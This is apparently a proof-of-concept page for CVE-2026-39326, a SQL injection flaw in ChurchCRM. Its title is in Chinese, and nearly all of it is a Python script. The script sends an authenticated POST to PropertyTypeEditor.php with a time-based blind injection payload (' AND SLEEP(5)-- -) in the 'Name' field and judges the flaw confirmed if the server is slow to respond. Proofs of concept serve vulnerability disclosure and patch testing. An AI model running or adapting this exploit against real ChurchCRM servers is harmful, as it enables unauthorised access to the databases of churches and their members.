CVE-2026-39326 ChurchCRM SQL注入漏洞

import requests def verify_sqli(target_url, session_cookie): """ Proof of Concept for CVE-2026-39326 This script exploits the SQL injection in PropertyTypeEditor.php via the 'Name' parameter. """ # Target endpoint endpoint = target_url + "/PropertyTypeEditor.php" # Headers including session cookie for authentication headers = { "Cookie": session_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Payload to test SQL injection (Time-based) # Attempting to inject a single quote to break the query and add a sleep command payload = "' AND SLEEP(5)-- -" # Data to be sent in the POST request data = { "Name": payload, "Description": "Test Description", "Action": "Add" # Assuming 'Add' is a valid action, might vary by version } try: print(f"[*] Sending payload to {endpoint}...") response = requests.post(endpoint, headers=headers, data=data, timeout=10) # Check if the request took longer than expected (indicating SLEEP(5) executed) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Server response delayed.") else: print("[-] Vulnerability not confirmed or payload incorrect.") except requests.RequestException as e: print(f"[!] Error during request: {e}") if __name__ == "__main__": # Example usage target = "http://localhost" # Replace with actual target cookie = "PHPSESSID=attacker_session_id" # Replace with valid authenticated session verify_sqli(target, cookie)